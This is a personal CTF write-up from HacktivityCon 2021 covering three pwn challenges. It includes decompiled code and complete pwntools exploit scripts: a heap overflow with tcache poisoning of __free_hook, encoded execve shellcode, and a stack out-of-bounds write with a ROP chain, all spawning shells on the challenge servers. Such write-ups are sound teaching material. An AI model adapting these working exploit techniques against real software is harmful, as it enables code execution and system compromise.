f4d3

f4d3

InfoSec enthusiast | pwn | RE | CTF | BugBounty

hacktivitycon2k21{pwn}

Summary

Hi !
Hope that everything’s doing good for everyone!
This weekend, with a couple of teammates, participated on the hacktivitycon 2021, organized by hackerone, pretty cool CTF, thanks to the organizers !

This was a chill CTF for us, so I spend many hours on a couple of pwnable challenges, so here’s the write up for them. Special thanks for dplastico, for the apañe ❤️

Summary
Sharp
Summary
Leak
Exploit
shellcoded
Shelle-2

Sharp

This was a kind of (not again) a note challenge.
Thanks to the author for not doing a note chall, lol :D
The main purpose of this binary is to create a very bad database written in C, allocating “names” for the entry of the db.
This Consist on one initial chunk, that will have a integer with the amount of entries, and an array of pointers to strings for the entries names.
The only main thing that was strange, was the use of the libc 2.31, at least, not safe linking yet.

binary
libc.so.6

Summary

The principal use of this binary, is to serve as a database written in C, so, the main menu is it as follows:

root@bf49a002b60c:/ctf/work/pwn/sharp# ./sharp 
Terrible C Database v0.1a

1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.

> 1
Enter username: dead
User added.

1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.

> 5
Entry: 0, user: dead

1. Add user.
2. Remove user.
3. Edit user.
4. Swap users.
5. List all users.
6. Exit.

> 

The respective reversing and the dissasembly of the respectives functions are as follows:

struct database {
    int amount;
    char ** names; // This just are the entries of the db, lol

};
void remove_user(database *users){
  uint idx;
  long in_FS_OFFSET;
  uint i;
  uint k;
  char buf [24];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter entry of user to remove: ");
  fgets(buf,16,stdin);
  idx = atoi(buf);
  if ((uint)users->amount <= idx) {
    puts("Invalid entry.\n");
    goto LAB_004018fa;
  }
  free(users->names[idx]);
                    /* Null the pointer after free, no bug */
  users->names[idx] = (char *)0x0;
                    /* The id's goes backwards on the following lines, this will become handy after.*/
  for (i = 0; i < (uint)users->amount; i = i + 1) {
    k = i;
    if (users->names[(int)i] == (char *)0x0) goto LAB_004018b7;
  }
  goto LAB_004018dd;
LAB_004018b7:
  while (k = k + 1, k < (uint)users->amount) {
    users->names[(long)(int)k + -1] = users->names[(int)k];
  }
LAB_004018dd:
  users->amount = users->amount + -1;
  puts("Removed user.\n");
LAB_004018fa:
  if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}


void swap_users(database *param_1){
  uint _idx_1;
  uint _idx_2;
  long in_FS_OFFSET;
  char idx_1 [16];
  char *ref_1;
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  if ((uint)param_1->amount < 2) {
    puts("Not enough users to swap.\n");
  }
  else {
    printf("Enter entry of user to swap: ");
    fgets(idx_1,0x18,stdin);
    _idx_1 = atoi(idx_1);
    if (_idx_1 < (uint)param_1->amount) {
      ref_1 = param_1->names[_idx_1];
      printf("Enter entry of user to swap with: ");
      fgets(idx_1,0x18,stdin);
      _idx_2 = atoi(idx_1);
      if ((_idx_2 < (uint)param_1->amount) && (_idx_1 != _idx_2)) {
        param_1->names[_idx_1] = param_1->names[_idx_2];
        param_1->names[_idx_2] = ref_1;
        puts("Swapped users.\n");
      }
      else {
        puts("Invalid entry.\n");
      }
    }
    else {
      puts("Invalid entry.\n");
    }
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}


int print_database(database *chunk){
  int ret;
  uint i;
  
  if (((chunk == (database *)0x0) || (chunk->names == (char **)0x0)) || (chunk->amount == 0)) {
    puts("No users in database.\n");
    ret = 0;
  }
  else {
    for (i = 0; i < (uint)chunk->amount; i = i + 1) {
      if (chunk->names[(int)i] != (char *)0x0) {
        printf("Entry: %d, user: %s\n",(ulong)i,chunk->names[(int)i]);
      }
    }
    puts("");
    ret = chunk->amount;
  }
  return ret;
}

void edit_user(database *users){
  uint idx;
  size_t end;
  long in_FS_OFFSET;
  char buf [24];
  long local_20;
  char *chunk_size;
  char *u_name;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  printf("Enter entry of user to edit: ");
  fgets(buf,0x10,stdin);
                    /* There's a heap based overflow here, since the size of the chunk used to calculate the amount of data incoming is the `chunk size`, which includes the headers of the chunk, which means, that we will get a 8 bytes heap overflow. */
  idx = atoi(buf);
  if (idx < (uint)users->amount) {
    chunk_size = *(char **)(users->names[idx] + -8);
    printf("\n[*] Username must be less than %lu characters long.\n");
    printf("Enter new username: ");
    fgets(users->names[idx],(uint)chunk_size & 0xfffffffc,stdin);
    u_name = users->names[idx];
    end = strcspn(users->names[idx],"\n");
    u_name[end] = '\0';
    puts("User changed.\n");
  }
  else {
    puts("Invalid entry.\n");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void add_user(database *db){
  char **tmp_obj;
  size_t location;
  long in_FS_OFFSET;
  size_t size;
  long local_20;
  uint number;
  char *u_added;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  if (db == (database *)0x0) {
    puts("Database not initialized.\n");
  }
  else {
    number = db->amount;
    db->amount = number + 1;
    tmp_obj = (char **)realloc(db->names,(ulong)(uint)db->amount * 8);
    db->names = tmp_obj;
    db->names[number] = (char *)0x0;
    printf("Enter username: ");
                    /* Safe malloc() with getline, no bug here */
    size = 0;
    getline(db->names + number,&size,stdin);
    u_added = db->names[number];
    location = strcspn(db->names[number],"\n");
    u_added[location] = '\0';
    puts("User added.\n");
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

void main(void){
  int opt;
  int ret;
  database *db;
  
  db = (database *)initialize();
  puts("Terrible C Database v0.1a\n");
  do {
    while (opt = menu(), false) {
switchD_00401a1c_caseD_0:
      puts("Invalid choice.\n");
    }
    switch(opt) {
    default:
      goto switchD_00401a1c_caseD_0;
    case 1:
      add_user(db);
      break;
    case 2:
      ret = print_database(db);
      if (ret != 0) {
        remove_user(db);
      }
      break;
    case 3:
      ret = print_database(db);
      if (ret != 0) {
        edit_user(db);
      }
      break;
    case 4:
      ret = print_database(db);
      if (ret != 0) {
        swap_users(db);
      }
      break;
    case 5:
      print_database(db);
      break;
    case 6:
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  } while( true );
}

The main thing to consider on the above code is the following.

  • Create entries
  • Edit those entries (8 byte heap overflow here)
  • Swap the entries on the db (not used on the exploit)
  • Remove entries
  • List entries

Leak

Since we know that we can abuse an 8 byte heap overflow on “edit_user()”, the the main plan for getting a leak and a working exploit is the following.

  • alloc 2 big enough chunks to not end in tcache chunks (>0x410) (with many tcache chunks in between), lets name it: big_1 and big_2
dummy chunk big_1 tcache_1 tcache_2 tcache_3 tcache_4 tcache_5 tcache_6 tcache_7 big_2 dummy_chunk_2

(If anyone have any tip how to draw / write heaps layouts, please, let me know 😆 )

  • Edit the chunk just before the big_2 to overwrite the big_2.prev_size and big_2.size, and set the prev_inuse bit to zero.
  • Free the big_1 chunk to place it to the unsorted bin and write the correct pointers to the big_1.fd and big_1.bk
  • Edit the first dummy_chunk, to overwrite the big_1.size, to the same as big_2.prev_size, in order to pass the same size check.
  • Free the big_2 chunk, since the big_2.prev_inuse bit is unset, it will make a backwards consolidation, with our previous big_1 chunk, giving us a biiiiiiiiig chunk in the unsorted bin with many tcache's chunks inside of it.
  • Create another big chunk, (I did this by just repeating the process), with an specific size to force an split chunk, in order to get the left_chunk.fd just inside a previous allocated tcache chunk.

With that in mind, the skeleton, becomes as follows

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./sharp"  ## change for the challenge name
DEBUG = 0
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.31.so"})
else:
    p = remote("challenge.ctf.games",31902)
    
    


def f():
    p.recvuntil("> ")

def create_user(name, leak = False):
    p.sendline("1")
    p.recvuntil("username: ")
    p.sendline(name)
    if not leak:
        f()


def remove_user(idx):
    p.sendline("2")
    p.recvuntil("remove: ")
    p.sendline(str(idx))
    f()

def edit_user(idx, name):
    p.sendline("3")
    p.recvuntil("edit: ")
    p.sendline(str(idx))
    p.recvuntil("username: ")
    p.sendline(name)
    f()

def swap_user(idx_1, idx_2):
    p.sendline("4")
    p.recvuntil("swap:")
    p.sendline(str(idx_1))
    p.sendline(str(idx_2))
    f()

def list_user(leak = False):
    p.sendline("5")
    if not leak:
        f()



'''
With edit_user, we can overwrite the chunk prev_size and size

'''

create_user(b"A" * 0x10)   #   0
create_user(b"B" * 0x510)   #   1
create_user(b"C" * 0x10)   #   2
create_user(b"D" * 0x10)   #   3
create_user(b"F" * 0x10)   #   4   
create_user(b"G" * 0x20)   #   5
create_user(b"I" * 0x20)   #   6
create_user(b"I" * 0x20)   #   7
create_user(b"H" * 0x510)   #  8
create_user(b"/bin/sh;J" )   #   9
create_user(b"K" * 0x20)   #   10


payload_7 = b'A' * 0x70
payload_7 += p64(0xb50 )
payload_7 += p64(0x790)
edit_user(7, payload_7)


yesno("Start the remove ? ")

remove_user(1)

payload_0 = b'Y' * 0x70
payload_0 += p64(0x00)
payload_0 += p64(0xb50)
edit_user(0, payload_0)

remove_user(7)

yesno("Add new users? ")

create_user(b"F" * 0x510, leak = True)  #  9
list_user(leak = True)

leak = p.recvuntil("Entry: 1, user: ")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x1ebbe0
log.info("[*] Libc leak: %s "   %   hex(leak))
log.info("[*] Libc base: %s "   %   hex(libc.address))


The big_2 chunk, before and after the overflow

Getting the big_1 chunk, with the custom big_2.prev_size

Free the big_1 chunk, to place it into the unsorted bin.

Edit the chunk before the big_1, in order to write a custom big_1.size

Free the big_2 chunk in order to make a backwards consolidation

Add a new user with a custom size (0x510), and get the libc leak by reading our previously allocated chunks

Exploit

Since we have a libc leak, the exploitation process is very straight forward from now, by doing a tcache poisoning attack
We have a perfect scenario to make this happens, since we have many tcache chunks already allocated in a heap area that is in our control. The only problem is that the chunks are broken, so we must first fix them.

By trail an error, I got the offset where the tcache chunks are placed inside the big chunk, in order to fix the tcache_chunks.size.

After that, free two of contigous tcache chunks, in reverse order (in order to get the first one on the top of the tcache list).
What’s left ?

  • Edit the big_chunk, in order to overwrite the tcache.fd to make it points to the __free_hook.
  • Get a dummy chunk to place the __free_hook in the top of tcache[0x80]
  • Get another chunk and write the address of system on it
  • Call free with a chunk with the content of /bin/sh\x00
  • Get the shell :D

Before editing the fd pointer

After editing the fd pointer

Writing into the arbitrary chunk

After that, just remove the chunk with the /bin/sh content

The final exploit, is the following

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./sharp"  ## change for the challenge name
DEBUG = 1
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name, env = {"LD_PRELOAD":"./libc-2.31.so"})
else:
    p = remote("challenge.ctf.games",31902)
    
    


def f():
    p.recvuntil("> ")

def create_user(name, leak = False):
    p.sendline("1")
    p.recvuntil("username: ")
    p.sendline(name)
    if not leak:
        f()


def remove_user(idx):
    p.sendline("2")
    p.recvuntil("remove: ")
    p.sendline(str(idx))
    f()

def edit_user(idx, name):
    p.sendline("3")
    p.recvuntil("edit: ")
    p.sendline(str(idx))
    p.recvuntil("username: ")
    p.sendline(name)
    f()

def swap_user(idx_1, idx_2):
    p.sendline("4")
    p.recvuntil("swap:")
    p.sendline(str(idx_1))
    p.sendline(str(idx_2))
    f()

def list_user(leak = False):
    p.sendline("5")
    if not leak:
        f()



'''
With edit_user, we can overwrite the chunk prev_size and size

'''

create_user(b"A" * 0x10)   #   0
create_user(b"B" * 0x510)   #   1
create_user(b"C" * 0x10)   #   2
create_user(b"D" * 0x10)   #   3
create_user(b"F" * 0x10)   #   4   
create_user(b"G" * 0x20)   #   5
create_user(b"I" * 0x20)   #   6
create_user(b"I" * 0x20)   #   7
create_user(b"H" * 0x510)   #  8
create_user(b"/bin/sh;J" )   #   9
create_user(b"K" * 0x20)   #   10


payload_7 = b'A' * 0x70
payload_7 += p64(0xb50 )
payload_7 += p64(0x790)

yesno("first, edit on 7")

edit_user(7, payload_7)


yesno("Start the remove ? ")

remove_user(1)

payload_0 = b'Y' * 0x70
payload_0 += p64(0x00)
payload_0 += p64(0xb50)

yesno("edit on 0")

edit_user(0, payload_0)

yesno("remove on 7")
remove_user(7)
yesno("Add new users? ")
create_user(b"F" * 0x510, leak = True)  #  9
list_user(leak = True)

leak = p.recvuntil("Entry: 1, user: ")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x1ebbe0
log.info("[*] Libc leak: %s "   %   hex(leak))
log.info("[*] Libc base: %s "   %   hex(libc.address))


yesno("[*] Second stage of the payload ? ")

create_user(b"G" * 0x510, leak = True)  #  10
payload_10 = b'A' * 0xa0
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(0x00) * 14
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += b'BBBBCCCCDDDDEEEE'
# Create a mid chunk, delete it
edit_user(10, payload_10 )

edit_user(1, p64(0xdeadbeef))
edit_user(2, p64(0xbeefdead))

remove_user(2)
remove_user(2)


yesno("Last edit to edit tcache ? ")
payload_10 = b'A' * 0xa0
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(libc.symbols['__free_hook'])  # fd_pointer, not very necessary, since I'm using the next chunk, lol
payload_10 += p64(0x00) #   bk pointer
payload_10 += p64(0x00) * 12
payload_10 += p64(0x00)
payload_10 += p64(0x80)
payload_10 += p64(libc.symbols['__free_hook'])  # fd_pointer
payload_10 += p64(0x00)
# Create a mid chunk, delete it
edit_user(8, payload_10 )

#remove_user(4)

# Now we have the poisoned tcache on Tcache[0x80]
yesno("[?] Make free_hook first on tcache ?")
'''
0xe6c7e execve("/bin/sh", r15, r12)
constraints:
  [r15] == NULL || r15 == NULL
  [r12] == NULL || r12 == NULL

0xe6c81 execve("/bin/sh", r15, rdx)
constraints:
  [r15] == NULL || r15 == NULL
  [rdx] == NULL || rdx == NULL

0xe6c84 execve("/bin/sh", rsi, rdx)
constraints:
  [rsi] == NULL || rsi == NULL
  [rdx] == NULL || rdx == NULL

'''

create_user(b"K" * 0x20)    # dummy allocation to make the `__free_hook` in the top of tcache
create_user(p64(libc.symbols['system']))

remove_user(5)

p.interactive()


shellcoded

The main purpose of this challenges is that the remote box, execute our shellcode, but it have a restriction on length because the shellcoded is modified. The pseudocode of the binary it is as follows
shellcoded


undefined8 main(void)

{
  char ok;
  int iVar1;
  code *__buf;
  ssize_t shellcode_len;
  uint i;
  
  __buf = (code *)aligned_alloc(PAGE_SIZE,PAGE_SIZE);
  if (__buf == (code *)0x0) {
    fwrite("Failed to allocate memory.\n",1,0x1b,stderr);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  puts("Enter your shellcode.");
  shellcode_len = read(0,__buf,PAGE_SIZE);
  if (-1 < shellcode_len) {
    for (i = 0; (int)i < shellcode_len; i = i + 1) {
      if ((i & 1) == 0) {
        ok = 1;
      }
      else {
        ok = -1;
      }
      __buf[(int)i] = (code)((char)__buf[(int)i] + (char)i * ok);
    }
    iVar1 = mprotect(__buf,PAGE_SIZE,5);
    if (iVar1 != 0) {
      free(__buf);
      fwrite("Failed to set memory permissions.\n",1,0x22,stderr);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    (*__buf)();
  }
  free(__buf);
  return 0;
}

The solution is simple, since we just need to call execve("/bin/sh",NULL,NULL);, with that in mind, the solve script is the following.

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./shellcoded"  ## change for the challenge name
DEBUG = 0
libc_name = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''
    b * main+345
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
else:
    p = remote("challenge.ctf.games",32383)
    
    
payload = asm('''mov al, 0x3b
lea rdi, [rdx + 0xe]
xor rsi, rsi
xor rdx, rdx
syscall
''')
payload += b'/bin/sh\x00'

payload_enc = b''
c = 0
ok = 1  
print("The payload is : ")
print(payload)
for k in payload:
    print(b"ok for: " + bytes([k]) )
    if c&1 == 0:
        ok = 1
    else:
        ok = -1
    payload_enc += bytes([k-(c*ok)] )
    c = c + 1

p.sendline(payload_enc)
p.interactive()

Shelle-2

I love this challenge, because is "kind of" similar to the sudo heap overflow, in order to get a ropchain written.
The disassembly of the binary is it as follows

binary


void run_cmds(void){
  int res;
  size_t carriage_locate;
  long in_FS_OFFSET;
  int i;
  int off;
  char *cmd_buf;
  size_t cmd_size;
  undefined8 _56;
  char buff [504];
  long local_20;
  char *_cmd_buf;
  
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  cmd_buf = (char *)0x0;
  _56 = 56;
  puts("\nWelcome to Strict-PsuedoShell, Updated psuedo shell to prevent cheating in assesment.");
  puts(
      "Strict-PsuedoShell is a super restricted environment to prevent all misuse ( stop cheating by just submitting flags and do your assesments :/ ), Please Enter \'HELP\' to know about available features, happy learning !"
      );
  fwrite("\nnotroot:P@Strict-psuedoshell$",1,0x1e,stdout);
  while( true ) {
    while( true ) {
      off = 0;
      memset(buff,0,500);
      cmd_size = 0;
      getline(&cmd_buf,&cmd_size,stdin);
      _cmd_buf = cmd_buf;
      carriage_locate = strcspn(cmd_buf,"\n");
      _cmd_buf[carriage_locate] = '\0';
      res = strcmp(cmd_buf,"HELP");
      if (((res != 0) && (res = strcmp(cmd_buf,"Help"), res != 0)) &&
         (res = strcmp(cmd_buf,"help"), res != 0)) break;
      puts(
          "\nHere is the list of command availiable to Students\n1> whoami\n2> pwd\n3> ls\n4> ps\n5> id\n6> echo\n7> cat\n8> more\n9> clear\n"
          );
      fwrite("\nnotroot:P@Strict-psuedoshell$",1,0x1e,stdout);
    }
    res = strcmp(cmd_buf,"EXIT");
    if (((res == 0) || (res = strcmp(cmd_buf,"Exit"), res == 0)) ||
       (res = strcmp(cmd_buf,"exit"), res == 0)) break;
    strncpy(buff,"export PATH=$PWD/bin/:/opt/ ; export SHELL=\'Shellie\' ; ",500);
    i = (int)_56;
    while (i < 500) {
      if (cmd_buf[off] == '\\') {
        off = off + 1;
      }
      else {
        if (cmd_buf[off] != '\0') {
          buff[_56 + off + -1] = cmd_buf[off];
        }
        off = off + 1;
        i = i + 1;
      }
    }
    puts("Function removed for security.");
    free(cmd_buf);
    cmd_buf = (char *)0x0;
    fwrite("notroot:P@Strict-psuedoshell$",1,0x1d,stdout);
  }
  if (local_20 == *(long *)(in_FS_OFFSET + 0x28)) {
    return;
  }
                    /* WARNING: Subroutine does not return */
  __stack_chk_fail();
}

The funny thing is that the program itself is stupid as fuck, it does nothing… But, the main problem is while making copy of the buffer. By reading a \\, the offset is aumented, but not the counter, with that, we can write out of bounds.

    while (i < 500) {
      if (cmd_buf[off] == '\\') {
        off = off + 1;
      }
      else {
        if (cmd_buf[off] != '\0') {
          buff[_56 + off + -1] = cmd_buf[off];
        }
        off = off + 1;
        i = i + 1;
      }
    }

After spotting this issue, the next thing is just a rop chain.

#!/usr/bin/env python3
from pwn import *
import sys
import subprocess

context(terminal=['tmux', 'split-window','-v'])
context(os="linux", arch="amd64")
context.log_level = "debug"


p_name = "./shelle-2"  ## change for the challenge name
DEBUG = 0
libc_name = "/usr/lib/x86_64-linux-gnu/libc-2.31.so"
elf = ELF(p_name)
libc = ELF(libc_name)

'''
libc.address
libc.symbols['printf']
'''


if DEBUG:
    commands = '''b * run_cmds+194
    b * run_cmds+473
    b * run_cmds+655
    b * run_cmds+729
    '''
    p = gdb.debug(args = [p_name], gdbscript = commands, exe = p_name)
else:
    p = remote("challenge.ctf.games",30793)
    
    

# With 480, we reach the offset for the out of bounds write 

rdi = 0x4015f3  #   pop rdi; ret; 


two_pop = 0x4015f0  #: pop r14; pop r15; ret; 
six_pop = 0x4015eb  #   : pop rbp; pop r12; pop r13; pop r14; pop r15; ret; 
four_pop = 0x00000000004015ec#: pop r12; pop r13; pop r14; pop r15; ret; 
three_pop = 0x00000000004015ee#: pop r13; pop r14; pop r15; ret; 
payload = b'\\' * 481

payload += p64(six_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(six_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(two_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(rdi)
payload += p64(elf.got['puts'])
payload += p64(elf.plt['puts'])
payload += p64(elf.symbols['main'])


sleep(1)
p.sendline(payload)

sleep(1)
p.sendline(b"exit")

p.recvuntil("psuedoshell$")
p.recvuntil("psuedoshell$")
leak = p.recvline().strip().ljust(8,b'\x00')
leak = u64(leak)
libc.address = leak - 0x875a0

log.info("[*] leaked puts on libc: %s" % hex(leak))
log.info("[*] libc base address: %s" % hex(libc.address))
log.info("[*] Setting up for the second stage")

payload = b'\\' * 481
payload += p64(four_pop)
payload += b'\\' * 8
payload += b'\\' * 8
payload += b'\\' * 8
payload += p64(libc.address + 0x8)
#payload += b'AAAABBBB'
payload += p64(rdi)
payload += p64(libc.address + 0x1b75aa)
payload += p64(libc.address + 0xe6c81)
payload += p64(elf.symbols['main'])


sleep(1)
p.sendline(payload)

sleep(1)
p.sendline(b"exit")



p.interactive()


Since was september 18, I didn’t have many time to solve all the challenges, but, the ones that I could solve, were awesome, thanks for the challenges to the organizers and the sponsors.

Hope that this make sense,

cheers!

kjj